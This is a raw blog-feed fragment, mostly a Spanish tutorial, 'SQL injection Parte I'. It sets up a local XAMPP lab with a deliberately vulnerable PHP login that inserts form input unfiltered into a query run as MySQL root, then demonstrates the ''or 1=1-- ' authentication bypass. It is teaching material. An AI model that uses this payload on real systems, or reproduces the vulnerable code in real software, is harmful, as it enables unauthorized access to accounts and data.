/&gt;$estado=$1;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;#--------------------------creo el archivoi--------------------------------------------s#&lt;br /&gt;&lt;br /&gt;($sec,$min,$hour)= localtime(time);&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;open (AR,"&amp;gt;"."temp.txt") || die "No puede crear el archivo error: $!";&lt;br /&gt;&lt;br /&gt;print AR "Hola Francisco, BUEN DIA!!\n";&lt;br /&gt;&lt;br /&gt;print AR "Son las $hour horas, con $min minutos, y $sec segundos.\n";&lt;br /&gt;&lt;br /&gt;print AR "Estado Del Tiempo. -- Corrientes Argentina --.\n";&lt;br /&gt;&lt;br /&gt;print AR "Ultima Actualizacion del Pronostico ".$update.".\n";&lt;br /&gt;&lt;br /&gt;print AR "En este momento, la temperatura es de: ".$centigrados." Centigrados.\n";&lt;br /&gt;&lt;br /&gt;print AR "con un estado del tiempo ".$estado."\n";&lt;br /&gt;&lt;br /&gt;close(AR);&lt;br /&gt;&lt;br /&gt;system('festival --language spanish --tts temp.txt');&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Eso es todo..&lt;br /&gt;&lt;br /&gt;Saludos&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8537339479493905438-3173454589786680801?l=magnobalt.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://magnobalt.blogspot.com/feeds/3173454589786680801/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://magnobalt.blogspot.com/2010/04/jugando-con-festival.html#comment-form' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8537339479493905438/posts/default/3173454589786680801'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8537339479493905438/posts/default/3173454589786680801'/><link rel='alternate' type='text/html' href='http://magnobalt.blogspot.com/2010/04/jugando-con-festival.html' title='Jugando con Festival'/><author><name>MagnoBalt</name><uri>http://www.blogger.com/profile/14864169075483637737</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_DI2yEVgm8Qk/S2x6_D9fiLI/AAAAAAAAAGo/4SQEGruJ1MY/S220/imagen+690.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_DI2yEVgm8Qk/S9ZzIzVVAwI/AAAAAAAAAMo/0nPsGI6H7Rs/s72-c/20009-Clipart-Illustration-Of-A-Metallic-Humanoid-Robot-Bending-Over-Slightly-To-Speak-To-A-Short-Webcam-Spybot-On-A-White-Background.jpg' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8537339479493905438.post-5955550983321758017</id><published>2010-04-18T16:58:00.001-07:00</published><updated>2010-04-26T22:16:01.499-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Seguridad Informatica'/><category scheme='http://www.blogger.com/atom/ns#' term='laboratorio'/><category scheme='http://www.blogger.com/atom/ns#' term='Programacion'/><category scheme='http://www.blogger.com/atom/ns#' term='Hacking'/><category scheme='http://www.blogger.com/atom/ns#' term='SQLi'/><title type='text'>SQL injection Parte I</title><content type='html'>&lt;div style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;span style=";font-family:monospace;font-size:100%;"  &gt;Sin lugar a dudas esta tecnica es una de las mas peligrosas que hay en una aplicacion, ya sea WEB o de Escritorio, por la potencia que tiene y la capacidad de poder ingresar a un sistema de una forma eficaz. Por practica puedo decir que es vulnerabilidad que mas me gusta testear, ya que tiene muchas posibilidades de ataque. Decidi crear post sobre este tema dividas en partes, esta sera la &lt;span style="font-weight: bold;"&gt;primer entrega :)&lt;/span&gt;.&lt;br /&gt;Vamos a ver desde el pricipio y para que lo practiquen en forma local, asi que nesesitaremos un paquete llamado LAMPP para trabajar en entornos Linux ( tambien lo pueden hacer desde W$ ), que nos trae empaquetado APACHE, PHP, MYSQL y FTP.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;¿Que es SQL Injection?&lt;br /&gt;&lt;/span&gt;Es&lt;span style="font-weight: bold;"&gt; &lt;/span&gt;la Tecnica que permite introducir comandos SQL arbitrarios en una consulta&lt;span style="font-weight: bold;"&gt; &lt;/span&gt;que esta establecida en la aplicacion, la cual las variables que piden al usuario no pasan por algun filtro, pudiendo este introducir comandos SQL que luego seran interpretados por el DBMS.&lt;br /&gt;Dependiendo el motor se inyecta de una forma u otra, este tutorial va a estar basado en&lt;span style="font-weight: bold;"&gt; &lt;/span&gt;&lt;span style="font-style: italic; font-weight: bold;"&gt;MySQL con PHP.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;Requisitos:&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;ol&gt;&lt;li&gt;&lt;span style="font-size:100%;"&gt;&lt;a href="http://www.apachefriends.org/download.php?xampp-linux-1.7.3a.tar.gz"&gt;&lt;span style="font-family:monospace;"&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="font-weight: bold;"&gt;Descargar Lammpp Ultima Version&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style=";font-family:monospace;font-size:100%;"  &gt;Conocimientos en PHP y MySQL&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style=";font-family:monospace;font-size:100%;"  &gt;Conocimientos de phpMyAdmin&lt;br /&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ol&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Comenzando&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;1)Instalando lampp&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;Como dije anteriormente,&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-size:85%;"&gt; el tutorial enseñara hasta como instalar el lampp, de forma básica podría encontrar mas datos sobre el, en su&lt;a href="http://www.apachefriends.org/en/xampp-linux.html"&gt; pagina principal&lt;/a&gt;.&lt;br /&gt;Cuando tengamos el archivo de lampp que en este caso seria este &lt;span style="font-weight: bold;"&gt;xampp-linux-1.7.3a.tar.gz, &lt;/span&gt;para instalarlo tiene una forma super fácil, nos logueamos como r00t y colocamos en la consola&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;p&gt; &lt;tt&gt;#tar xvfz xampp-linux-1.7.3a.tar.gz -C /opt&lt;/tt&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-size:85%;"&gt;Esto creara una carpeta llamada lampp, en el directorio /opt. Por lo tanto todos los archivos, binarios, conflagraciones, bases de datos, etc estarán en el /opt/lampp.&lt;br /&gt;Podemos ir posicionandonos en ella e ir familiarizandonos,&lt;br /&gt;&lt;br /&gt;#cd /opt/lampp; ls -la&lt;br /&gt;&lt;br /&gt;La conflagración del Lampp por ahora la vamos a dejar como default, para poder hacer inyecciones copadas sobre MySQL. Lo que si vamos a cambiar es el DocumentRoot&lt;br /&gt;de apache, que es la raíz lógica de donde apache empieza a leer los documentos, para ellos tenemos que editar el archivo httpd.conf de Apache&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;#cd /opt/lampp/etc&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Realizamos un backups antes de realizar cambios en archivos de configuraciones de cualquier tipo.&lt;/span&gt;&lt;br /&gt;#cp httpd.conf httpd.conf.backup&lt;br /&gt;#nano httpd.conf&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-size:85%;"&gt;Yo uso nano uds podrian usar VI o el que quisieran, buscamos la linea donde dice&lt;br /&gt;&lt;br /&gt;DocumentRoot "/opt/lampp/htdocs"&lt;br /&gt;&lt;br /&gt;Y cambiamos a una carpeta en nuestro home, osea en mi caso&lt;br /&gt;&lt;br /&gt;DocumentRoot "/home/magnobalt/www"&lt;br /&gt;&lt;br /&gt;Una vez hecho esto guardamos, abrimos otra shell, como usuario comun y creamos la carpeta www en nuestro home&lt;br /&gt;&lt;br /&gt;$mkdir /home/magnobalt/www&lt;br /&gt;&lt;br /&gt;Listo con esto tenemos configurado para que apache venga a leer a esta carpeta y busque los archivos para ejecutar en el servidor. Aquí es donde vamos a colocar nuestro archivos html, js, php, css, etc.&lt;br /&gt;Para alzar los servicios de lampp hacemos lo siguiente como r00t.&lt;br /&gt;&lt;br /&gt;#/opt/lampp/lampp start&lt;br /&gt;Starting XAMPP for Linux 1.7.2...&lt;br /&gt;XAMPP: Starting Apache with SSL (and PHP5)...&lt;br /&gt;XAMPP: Starting MySQL...&lt;br /&gt;XAMPP: Starting FTP ..&lt;br /&gt;XAMPP for Linux started.&lt;br /&gt;&lt;br /&gt;Con esa informacion significa que todos los servicios estan corriendo sin problemas, en caso de que haya problema les avisara con una leyenda, pero si no tocaron nada todo correra perfectamente.&lt;br /&gt;Para poder empezar podemos ir a nuestro navegador y escribir &lt;span style="font-weight: bold;"&gt;http://localhost&lt;/span&gt; o &lt;span style="font-weight: bold;"&gt;http://127.0.0.1&lt;/span&gt;, lo cual es la ip de loopback, osea que ingresamos a nuestra propia maquina,&lt;br /&gt;como nos tenemos ningun archivo index,html, index.php etc, todavia en nuestro DocumentRoot en mi caso /home/magnobalt/www, seguramente mostrara seguramente un error 403 Fordiben.&lt;br /&gt;Para poder ingresar al PhpMyAdmin colocamos en el browser&lt;span style="font-weight: bold;"&gt; http://localhost/phpmyadmin&lt;/span&gt;, se daran cuenta que entra directamente, eso es por que al instalar lampp, la contraseña del usuario root en mysql esta en blanco, Obivamente esto no deberia quedar asi, se tendria que colocar una, pero aqui obviaremos.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-size:180%;" &gt;Primer SQL Injection:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Lo que primero vamos a realizar es un bypass a un login, esta inyeccion es la mas facil de entender, ¿Bypass WTF!!?. El termino Bypass significa saltarse algun tipo&lt;br /&gt;de seguridad, por ejemplo, si un programador me coloca en una funcion que una variable no acepte numeros enteros, y yo de alguna forma logro que la aplicacion&lt;br /&gt;tome numeros enteros, estoy bypaseando (saltando) la seguridad del programador. :)&lt;br /&gt;&lt;br /&gt;Lo que haremos es crear un Panel de Administrador, donde pedira usuario y contraseña, pero antes que nada para esto nesesitamos crear una Base de Datos, y una tabla&lt;br /&gt;llamada Usuarios. Para ellos usaremos el PhpMyadmin.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_DI2yEVgm8Qk/S8yRgzZkuTI/AAAAAAAAALQ/M6zRbc--hps/s1600/base1.jpeg"&gt;&lt;img style="cursor: pointer; width: 320px; height: 146px;" src="http://2.bp.blogspot.com/_DI2yEVgm8Qk/S8yRgzZkuTI/AAAAAAAAALQ/M6zRbc--hps/s320/base1.jpeg" alt="" id="BLOGGER_PHOTO_ID_5461900440832882994" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;p&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;En la imagen se puede observar como estamos creando una tabla llamada usuarios con los compos, &lt;span style="font-weight: bold;"&gt;id, usuario, password, nombre y correo.&lt;/span&gt; EL campo id es nuestra clave y es incremental.&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;En SQL seria de esta forma:&lt;br /&gt;&lt;pre name="code" class="sql"&gt;    CREATE TABLE `hacking`.`usuarios` (&lt;br /&gt;`id` INT( 2 ) NOT NULL AUTO_INCREMENT PRIMARY KEY ,&lt;br /&gt;`usuario` VARCHAR( 20 ) NOT NULL ,&lt;br /&gt;`password` VARCHAR( 20 ) NOT NULL ,&lt;br /&gt;`nombre` VARCHAR( 35 ) NOT NULL ,&lt;br /&gt;`correo` VARCHAR( 50 ) NOT NULL&lt;br /&gt;) ENGINE = MYISAM ;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;Ahora que tenemos la tabla, vamos a crear los archivos php, como el panel siempre esta en una carpeta&lt;br /&gt;llamada, admin, administrador, administrator etc. Vamos a crear una carpeta llamada admin en nuestro DocumentRoot que va hacer donde vamos a guardar los archivos del Login, lo cual quedaria &lt;span style="font-weight: bold;"&gt;/home/magnobalt/www/admin&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;Los archivos que vamos a nesesitar van hacer index.php, login.php y estilo.css&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-weight: bold;"&gt;index.php&lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre name="code" class="php"&gt;&lt;br /&gt;&amp;lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;html xmlns="http://www.w3.org/1999/xhtml"&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;head&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;title&amp;gt;Hacking Nea&amp;lt;/title&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;link rel="STYLESHEET" type="text/css" href="../estilo.css"&amp;gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;body&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;div id="contenedor"&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;div id="encabezado"&amp;gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;/div&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;!--fin de encabezado--&amp;gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;div id="menu"&amp;gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;/div&amp;gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;div id="areatexto"&amp;gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;div id="cuadrodialogo"&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;h1&amp;gt;&amp;lt;b&amp;gt;Sistema de Logueo ZamBonet&amp;lt;/b&amp;gt;&amp;lt;/h1&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;form action="login.php" method="post"&amp;gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;br&amp;gt;Nombre:&lt;br /&gt;&lt;br /&gt;&amp;lt;br&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;input type="text" name="nombre" maxlength="8"&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;br&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;br&amp;gt;&lt;br /&gt;&lt;br /&gt;Contrasena:&lt;br /&gt;&lt;br /&gt;&amp;lt;br&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;input type="password" name="pass" maxlength="80"&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;br&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;input type="submit" value="Enviar"&amp;gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;/form&amp;gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;/div&amp;gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;/div&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;!--fin areatexto--&amp;gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;div id="pie"&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;!--fin pie--&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;/div&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;!--fin contenedor--&amp;gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;/body&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;/html&amp;gt;&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;Este archivo es el formulario que pedira al usuario que ingrese el usuario y el password, el cual los datos ingresados son procesados por un archivo llamado login.php.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;login.php&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;pre name="code" class="php"&gt;&amp;lt;?php&lt;br /&gt;&lt;br /&gt;$hostname = "localhost";&lt;br /&gt;&lt;br /&gt;$database = "hacking";&lt;br /&gt;&lt;br /&gt;$username = "root";&lt;br /&gt;&lt;br /&gt;$password = "";&lt;br /&gt;&lt;br /&gt;$conexion = mysql_connect($hostname, $username, $password) or die ('Error conexion'.mysql_error());&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;$usuario=$_POST['nombre'];&lt;br /&gt;&lt;br /&gt;$password=$_POST['pass'];&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;mysql_select_db($database,$conexion);&lt;br /&gt;&lt;br /&gt;$sql="SELECT * FROM usuarios WHERE usuario='$usuario' AND password='$password'";&lt;br /&gt;&lt;br /&gt;echo "Esta es la Consulta: ".$sql;&lt;br /&gt;&lt;br /&gt;echo "&amp;lt;br&amp;gt;";echo "&amp;lt;br&amp;gt;";&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;$login=mysql_query($sql,$conexion) or die ('Error en la consulta'. mysql_error());&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;$row=mysql_fetch_array($login);&lt;br /&gt;&lt;br /&gt;if(isset($row) &amp;amp;&amp;amp; !empty($row)){ //verifico que la variable $row tenga informacion&lt;br /&gt;&lt;br /&gt;echo "&amp;lt;br&amp;gt;";&lt;br /&gt;&lt;br /&gt;echo "&amp;lt;h1&amp;gt;&amp;lt;b&amp;gt;ACCESO PERMITIDO&amp;lt;b&amp;gt;&amp;lt;/h1&amp;gt;";&lt;br /&gt;&lt;br /&gt;echo "&amp;lt;br&amp;gt;";&lt;br /&gt;&lt;br /&gt;echo "Estos son tus datos";&lt;br /&gt;&lt;br /&gt;echo "&amp;lt;br&amp;gt;";echo "&amp;lt;br&amp;gt;";&lt;br /&gt;&lt;br /&gt;echo "Usuario: ".$row['usuario'];&lt;br /&gt;&lt;br /&gt;echo "&amp;lt;br&amp;gt;";&lt;br /&gt;&lt;br /&gt;echo "Password: ".$row['password'];&lt;br /&gt;&lt;br /&gt;echo "&amp;lt;br&amp;gt;";&lt;br /&gt;&lt;br /&gt;echo "Email: ".$row['correo'];&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;else&lt;br /&gt;&lt;br /&gt;{&lt;br /&gt;&lt;br /&gt;echo "&amp;lt;h1&amp;gt;&amp;lt;b&amp;gt;ERRORRRRRR PAYASO &amp;lt;b&amp;gt;&amp;lt;/h1&amp;gt;";&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;?&amp;gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;Las primeras lineas es la conexion de la base de datos, la base de datos que contiene la tabla Usuarios, que creamos anteriormente esta en una llamada Hacking, uds quizas la llamaron de otra forma, el usuario que esta realizando las consultas es r00t (super usuario de MySQL) , lo cual es un grave error esto nunca deberia suceder se tendria que crear un usuario con privilegios que la aplicacion nesesitara, r00t corre con todos los privilegios y solo se tendria que utilizar para tareas administrativas. En la practica es raro encontrar este caso pero se encunetran, mas en los lugares donde tienen un servidor dedicado para ellos, y lo montan sin conocimientos y dejan a los servicios por default.&lt;br /&gt;Nosotros vamos a correr nuestra web con r00t para que se vea lo peligroso que es y la potencia de SQL injection con estos privilegios.&lt;br /&gt;Tambien se nesesita un arhicovo .css llamado estilo.css lo puden copiar &lt;a href="http://www.delincuentedigital.com.ar/estilo.css"&gt;desde aca&lt;/a&gt;, y lo guardan en la carpeta &lt;span style="font-weight: bold;"&gt;www &lt;/span&gt;en mi caso&lt;span style="font-weight: bold;"&gt; /home/magnobalt/www&lt;/span&gt;, este archivo es la maquetacion del sitio&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;Ahh me olvidaba antes de empezar con el siguiente paso que es la practica, carguen algun registro en la tabla usuario, yo coloque como usuario&lt;span style="font-weight: bold;"&gt; admin y contraseña 123456&lt;/span&gt;, y otro &lt;span style="font-weight: bold;"&gt;magno y contraseña qwerty &lt;/span&gt;carguen lo que se le ocurra.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:180%;"&gt;&lt;span style="font-weight: bold;"&gt;Por fin Accion&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;Si todo va correctamente uds al dirigirse a http://localhost/admin, le mostrara esta pantalla.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_DI2yEVgm8Qk/S8zSbtHHMAI/AAAAAAAAALY/onLSLFOvOsY/s1600/logeo.jpeg"&gt;&lt;img style="cursor: pointer; width: 362px; height: 167px;" src="http://4.bp.blogspot.com/_DI2yEVgm8Qk/S8zSbtHHMAI/AAAAAAAAALY/onLSLFOvOsY/s320/logeo.jpeg" alt="" id="BLOGGER_PHOTO_ID_5461971821501296642" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;Es el formulario donde pide el usuario y contraseña para ingresar a un area restringida, si el usuario es ingresado incorrectamente mostrara esta pantalla.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_DI2yEVgm8Qk/S8zTY62yanI/AAAAAAAAALg/3sWa67QQ-R4/s1600/logeo1.jpeg"&gt;&lt;img style="cursor: pointer; width: 320px; height: 119px;" src="http://4.bp.blogspot.com/_DI2yEVgm8Qk/S8zTY62yanI/AAAAAAAAALg/3sWa67QQ-R4/s320/logeo1.jpeg" alt="" id="BLOGGER_PHOTO_ID_5461972873162943090" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;saldra la leyenda de "ERORRRRRR PAYASO" y mas arriba que esta lo interesante, es la consulta que es pasada al DBMS que en este caso es el MySQL, con esta leyenda vamos a ir observando lo que va pasando al inyectar codigo.&lt;br /&gt;&lt;br /&gt;Si el usuario es correcto saldra esta pantalla&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_DI2yEVgm8Qk/S8zWSCDyrzI/AAAAAAAAALo/0coxNx7EhK0/s1600/logeo2.jpeg"&gt;&lt;img style="cursor: pointer; width: 320px; height: 119px;" src="http://1.bp.blogspot.com/_DI2yEVgm8Qk/S8zWSCDyrzI/AAAAAAAAALo/0coxNx7EhK0/s320/logeo2.jpeg" alt="" id="BLOGGER_PHOTO_ID_5461976053372333874" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;Como veran la sentencia SQL se sigue mostrando arriba, lo unico que hace es que si tenemos acceso sale la Leyenda "ACCESO PERMITIDO" y nos muestra los datos del Usuario.&lt;br /&gt;&lt;br /&gt;¿Donde esta el Bug?&lt;br /&gt;&lt;br /&gt;El error de en el codigo se encuentra en que no se filtra las variables pasadas por el formulario y se pasan automaticamente a la consulta SQL.&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;pre name="code" class="php"&gt;$usuario=$_POST['nombre'];&lt;br /&gt;$password=$_POST['pass'];&lt;br /&gt;$sql="SELECT * FROM usuarios WHERE usuario='$usuario' AND password='$password'";&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;Estas son las lineas del problema, como veran lo que nos pasa por el formulario, el usuario y password&lt;br /&gt;lo llevamos a la variable $usuario y $password, luego automaticamente sin colocar alguna seguridad&lt;br /&gt;lo volcamos a la consulta SQL&lt;br /&gt;Si yo colocaria como nombre admin y password 123456, la consulta arrojara un TRUE y traeria datos de&lt;br /&gt;la base de datos ya que para el usuario admin el password es 123456. Se veria asi&lt;/span&gt;&lt;br /&gt;&lt;pre name="code" class="sql"&gt;&lt;br /&gt;SELECT * FROM usuarios WHERE usuario='admin' AND password='123456'&lt;br /&gt;&lt;/pre&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;Los string en MySQL son delimitados por ' (comilla simple), osea que todo lo que esta encerrados entre dos ' MySQL lo toma como string. Para poder inyectar en este caso, nosotros tendriamos que escaparnos de la comilla, simple y luego ahi colocar sentencias SQL. Para entender mejor veamos el ejemplo.&lt;br /&gt;Que pasaria si en vez de colocar un nombre por ejemplo &lt;span style="font-weight: bold;"&gt;magno&lt;/span&gt; yo pondria una comilla simple, la consulta quedaria de este modo ( Esto se puede ir probando en su labs y cada vez que ingresen se mostrara la sentencia SQL que se esta mandando al MySQL )&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;SELECT * FROM usuarios WHERE usuario='&lt;span style="color: rgb(204, 0, 0);"&gt;'&lt;/span&gt;' AND password=''&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;Se puede ver que en el campo &lt;span style="font-weight: bold;"&gt;usuario&lt;/span&gt;, hay 3 comillas, las dos de afueras son las que el programador coloco para delimitar lo que ingresa el usuario como string, y la del medio es nuestra comilla simple que acabamos de enviar, lo cual arroja el siguiente error&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Error en la consultaYou have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''' AND password=''' at line 1&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;MySQL se esta quejando diciendo que hay un error de sintaxis mas precisamente hay una comilla simple sin cerrar. Esto significa que esa comilla simple esta siendo interpretada como codigo SQL para el DBMS, ahi esta lo interesante.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 153);font-size:130%;" &gt;&lt;span style="font-weight: bold;"&gt;Ataque 1&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;Podemos lograr sin saber el password ni el usuario de alguien ingresar como el primer registro de nuestra tabla Usuarios. ¿Como? coloquemos como usuario, &lt;span style="color: rgb(255, 0, 0);"&gt;'or 1=1-- , &lt;span style="color: rgb(0, 0, 0);"&gt;(Coloquen un espacio despues del --)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;la consul&lt;/span&gt;&lt;/span&gt;ta quedara de este modo&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;SELECT * FROM usuarios WHERE usuario='&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0); font-weight: bold;"&gt;'or 1=1--&lt;/span&gt; &lt;span style="font-weight: bold;"&gt;' AND password=''&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;sin saber ni el usuario ni la contraseña entramos como admin.. ;)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_DI2yEVgm8Qk/S8zdwJKvZYI/AAAAAAAAALw/k8e9sMsgMx0/s1600/logeo3.jpeg"&gt;&lt;img style="cursor: 